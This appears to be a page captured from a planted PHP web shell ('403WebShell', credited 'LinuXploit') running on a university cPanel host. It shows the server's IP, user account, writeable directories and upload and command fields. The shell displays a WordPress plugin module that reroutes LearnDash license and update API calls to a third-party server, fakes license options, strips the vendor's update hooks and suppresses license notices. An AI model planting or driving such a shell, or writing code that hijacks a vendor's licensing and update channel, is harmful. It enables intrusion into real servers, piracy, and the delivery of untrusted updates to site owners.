$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules//learndash.php
<?php
/**
 * LearnDash LMS module.
 *
 * Redirects LearnDash API calls to GLS3.
 * Header-based auth: Learndash-Hub-License-Key, Learndash-Hub-Email.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;
use HelloPack\Client\License\ApiRedirector;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * LearnDash LMS license module.
 */
class Learndash extends AbstractModule {

	/**
	 * Placeholder license key.
	 * Real key lives only in the GLS3 handler for proxy requests.
	 *
	 * @var string
	 */
	private const LICENSE_KEY = 'HPCK-0000-0000-0000';

	/**
	 * Placeholder email.
	 *
	 * @var string
	 */
	private const LICENSE_EMAIL = 'license@hellowp.io';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'learndash';
		$this->name        = 'LearnDash LMS';
		$this->description = 'Manages LearnDash LMS license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'sfwd-lms',
			'plugin_file' => 'sfwd_lms.php',
		);
		$this->target_id   = '3754208506';

		$this->update_transients = array(
			'learndash-hub-remote' => array(),
		);

		$this->blocked_domains = array(
			'checkout.learndash.com/wp-json/learndash/v2/repo/' => self::generic_block(),
			'remote.learndash.com/wp-json/learndash/v2/' => array(
				'response' => array(
					'banners' => array(),
					'ttl'     => 1440,
				),
			),
		);
	}

	/**
	 * LearnDash Projects Controller class name.
	 *
	 * @var string
	 */
	private const PROJECTS_CONTROLLER = 'LearnDash\Hub\Controller\Projects_Controller';

	/**
	 * Initialize module.
	 */
	public function init(): void {
		ApiRedirector::create(
			'https://checkout.learndash.com',
			HELLOPACK_GLS3_URL . '/learndash'
		);

		ApiRedirector::create(
			'https://remote.learndash.com',
			HELLOPACK_GLS3_URL . '/learndash'
		);

		if ( ! defined( 'LEARNDASH_UPDATES_ENABLED' ) ) {
			define( 'LEARNDASH_UPDATES_ENABLED', 'enabled' );
		}

		$this->setup_license();
		$this->remove_learndash_update_hooks();
		$this->suppress_harbor_license_notices();
	}

	/**
	 * Suppress the StellarWP "Harbor" inactive-license admin notice.
	 *
	 * LearnDash 5.1+ moved licensing to the StellarWP / Liquid Web unified
	 * system. Its Harbor library renders an "inactive license" admin notice
	 * (`data-lw-harbor-notice-id="legacy-learndash"`) whenever the legacy
	 * licenses reported through the `lw-harbor/legacy_licenses` filter report
	 * `is_active = false` — which they always do here, because the status comes
	 * from the nexcess / liquidweb servers that HelloPack does not talk to.
	 *
	 * Emptying the reported legacy-license list both removes the notice and
	 * keeps Harbor's update pipeline idle (no outbound calls), leaving update
	 * delivery to HelloPack. Priority 99 runs after LearnDash's own registrar.
	 */
	private function suppress_harbor_license_notices(): void {
		add_filter( 'lw-harbor/legacy_licenses', '__return_empty_array', 99 );
	}

	/**
	 * Remove LearnDash's built-in update hooks so HelloPack handles all updates.
	 *
	 * Early hooks (http_request_args, update_plugins_learndash) are already registered
	 * by the time this runs. Hooks from register_hooks() fire on init priority 10,
	 * so we schedule their removal at priority 11.
	 */
	private function remove_learndash_update_hooks(): void {
		if ( ! class_exists( self::PROJECTS_CONTROLLER ) ) {
			return;
		}

		// Early hooks — already registered.
		$this->remove_class_hooks( 'http_request_args', self::PROJECTS_CONTROLLER );
		$this->remove_class_hooks( 'update_plugins_learndash', self::PROJECTS_CONTROLLER );

		// Hooks registered on init priority 10 — remove at priority 11.
		add_action(
			'init',
			function () {
				$this->remove_class_hooks( 'site_transient_update_plugins', self::PROJECTS_CONTROLLER );
				$this->remove_class_hooks( 'plugins_api', self::PROJECTS_CONTROLLER );
			},
			11
		);
	}

	/**
	 * Set up license data.
	 *
	 * LearnDash stores license key and email in nss_plugin_license options.
	 */
	private function setup_license(): void {
		hellopack_ensure_option( 'nss_plugin_license_sfwd_lms', self::LICENSE_KEY );
		hellopack_ensure_option( 'nss_plugin_license_email_sfwd_lms', self::LICENSE_EMAIL );
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		hellopack_delete_option( 'nss_plugin_license_sfwd_lms' );
		hellopack_delete_option( 'nss_plugin_license_email_sfwd_lms' );
		hellopack_delete_option( 'learndash_hub_license_status' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit